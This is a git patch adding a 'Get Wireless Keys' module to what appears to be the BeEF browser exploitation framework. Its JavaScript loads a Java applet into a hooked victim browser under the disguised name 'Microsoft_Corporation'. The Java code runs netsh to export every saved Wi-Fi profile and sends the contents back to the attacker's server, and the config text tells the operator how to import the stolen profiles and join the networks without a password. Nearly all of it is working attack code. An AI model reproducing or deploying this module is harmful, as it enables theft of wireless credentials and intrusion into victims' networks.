From 5cb1ad3d534d40ee3e460959d01df8a4c4ef8a40 Mon Sep 17 00:00:00 2001 From: milo2012 Date: Sun, 11 Mar 2012 11:38:47 -0400 Subject: [PATCH] Module for Issue 639 - Retrieving Clear Text Wireless Keys from Compromised Systems --- modules/host/get_wireless_keys/command.js | 30 +++++ modules/host/get_wireless_keys/config.yaml | 26 ++++ modules/host/get_wireless_keys/module.rb | 35 ++++++ .../wirelessZeroConfig.class | Bin 0 -> 2818 bytes .../get_wireless_keys/wirelessZeroConfig.jar | Bin 0 -> 3285 bytes .../get_wireless_keys/wirelessZeroConfig.java | 113 ++++++++++++++++++ 6 files changed, 204 insertions(+) create mode 100644 modules/host/get_wireless_keys/command.js create mode 100644 modules/host/get_wireless_keys/config.yaml create mode 100644 modules/host/get_wireless_keys/module.rb create mode 100644 modules/host/get_wireless_keys/wirelessZeroConfig.class create mode 100644 modules/host/get_wireless_keys/wirelessZeroConfig.jar create mode 100644 modules/host/get_wireless_keys/wirelessZeroConfig.java diff --git a/modules/host/get_wireless_keys/command.js b/modules/host/get_wireless_keys/command.js new file mode 100644 index 000000000..54aec9505 --- /dev/null +++ b/modules/host/get_wireless_keys/command.js @@ -0,0 +1,30 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + var applet_archive = 'http://'+beef.net.host+ ':' + beef.net.port + '/wirelessZeroConfig.jar'; + var applet_id = '<%= @applet_id %>'; + var applet_name = '<%= @applet_name %>'; + var output; + beef.dom.attachApplet(applet_id, 'Microsoft_Corporation', 'wirelessZeroConfig' , + null, applet_archive, null); + output = document.Microsoft_Corporation.getInfo(); + if (output) { + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+output); + } + beef.dom.detachApplet('wirelessZeroConfig'); +}); + + diff --git a/modules/host/get_wireless_keys/config.yaml b/modules/host/get_wireless_keys/config.yaml new file mode 100644 index 000000000..9529b4ec5 --- /dev/null +++ b/modules/host/get_wireless_keys/config.yaml @@ -0,0 +1,26 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + get_wireless_keys: + enable: true + category: "Host" + name: "Get Wireless Keys" + description: "This module will retrieve the wireless profiles from the target computer.
You will need to copy the results to 'exported_wlan_profiles.xml' and then reimport back into your Windows Vista/7 computers by running the command netsh wlan add profile filename=\"exported_wlan_profiles.xml\".
After that, just launch and connect to the wireless network without any password prompt.

For more information, refer to http://pauldotcom.com/2012/03/retrieving-wireless-keys-from.html" + authors: ["keith_lee @keith55 http://milo2012.wordpress.com"] + target: + working: ["IE"] + user_notify: ["C", "S", "O", "FF"] diff --git a/modules/host/get_wireless_keys/module.rb b/modules/host/get_wireless_keys/module.rb new file mode 100644 index 000000000..0a3f75be2 --- /dev/null +++ b/modules/host/get_wireless_keys/module.rb @@ -0,0 +1,35 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Get_wireless_keys < BeEF::Core::Command + + def pre_send + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/host/get_wireless_keys/wirelessZeroConfig.jar','/wirelessZeroConfig','jar') + end + + def post_execute + content = {} + content['result'] = @datastore['result'].to_s + save content + f = File.open("exported_wlan_profiles.xml","w+") + f.write((@datastore['results']).sub("result=","")) + writeToResults = Hash.new + writeToResults['data'] = "Please import "+Dir.pwd+"/exported_wlan_profiles.xml into your windows machine" + BeEF::Core::Models::Command.save_result(@datastore['beefhook'], @datastore['cid'] , @friendlyname, writeToResults) + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/wirelessZeroConfig.jar') + end + +end + diff --git a/modules/host/get_wireless_keys/wirelessZeroConfig.class b/modules/host/get_wireless_keys/wirelessZeroConfig.class new file mode 100644 index 0000000000000000000000000000000000000000..cb5a0838e11cb355019ff1b9bc333bc4d5c053cb GIT binary patch literal 2818 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 VMyif9G>p``Ks{gtRZ$w6{{Ulji_`!B literal 0 HcmV?d00001 diff --git a/modules/host/get_wireless_keys/wirelessZeroConfig.java b/modules/host/get_wireless_keys/wirelessZeroConfig.java new file mode 100644 index 000000000..e0c349785 --- /dev/null +++ b/modules/host/get_wireless_keys/wirelessZeroConfig.java @@ -0,0 +1,113 @@ +import java.io.*; +import java.util.*; +import java.net.*; +import java.applet.*; + +// Keith Lee +// Twitter: @keith55 +// http://milo2012.wordpress.com +// keith.lee2012[at]gmail.com + +public class wirelessZeroConfig extends Applet{ + public static String result = ""; + + public wirelessZeroConfig(){ + super(); + return; + } + public static String getInfo() { + return result; + } + + public void init() { + if (isWindows()) { + String osVersion= System.getProperty("os.version"); + if(osVersion.equals("6.0") || osVersion.equals("6.1")){ + result=getWindows(); + } + } else { + result = "OS is not supported"; + } + } + + public static String getWindows(){ + String cmd1 = "netsh wlan show profiles"; + String cmd2 = "netsh wlan export profile name="; + String keyword1 = "User profiles"; + String wlanProfileArr[]; + String wlanProfileName; + int match = 0; + int count = 0; + ArrayList profileList = new ArrayList(); + try { + //Get wlan profile names + Process p1 = Runtime.getRuntime().exec(cmd1); + BufferedReader in1 = new BufferedReader(new InputStreamReader(p1.getInputStream())); + String line = null; + //Checks if string match "User profiles" + while ((line = in1.readLine()) != null) { + //Checks if string match "User profiles" + if(match==0){ + if(line.toLowerCase().contains(keyword1.toLowerCase())){ + match=1; + } + } + if(match==1){ + if(count>1){ + //If string matches the keyword "User Profiles" + line = (line.replaceAll("\\s+$","").replaceAll("^\\s+", "")); + if(line.length()>0){ + wlanProfileName = (line.split(":")[1]).replaceAll("\\s+$","").replaceAll("^\\s+", "");; + profileList.add(wlanProfileName); + } + } + count+=1; + } + } + in1.close(); + } catch (IOException e) { } + + try{ + //Export WLAN Profile to XML file + for(Iterator iterator = profileList.iterator(); iterator.hasNext();){ + String profileName = iterator.next().toString(); + Process p2 = Runtime.getRuntime().exec(cmd2+'"'+profileName+'"'); + //Check if exported xml exists + File f = new File("Wireless Network Connection-"+profileName+".xml"); + if(f.exists()){ + //Read contents of XML file into results variable + FileInputStream fstream = new FileInputStream(f); + DataInputStream in2 = new DataInputStream(fstream); + BufferedReader br = new BufferedReader(new InputStreamReader(in2)); + String xmlToStr; + while((xmlToStr = br.readLine()) != null){ + result+=xmlToStr; + } + in2.close(); + } + } + } catch (IOException e) { + } + return result; + } + + public static boolean isWindows() { + String os = System.getProperty("os.name").toLowerCase(); + return (os.indexOf("win") >= 0); + } + + /** + public static void main(String[] args) { + if (isWindows()) { + String osVersion= System.getProperty("os.version"); + System.out.println(osVersion); + if(osVersion.equals("6.0") || osVersion.equals("6.1")){ + result=getWindows(); + } + } else { + result = "OS is not supported"; + } + System.out.println(result); + } + **/ +}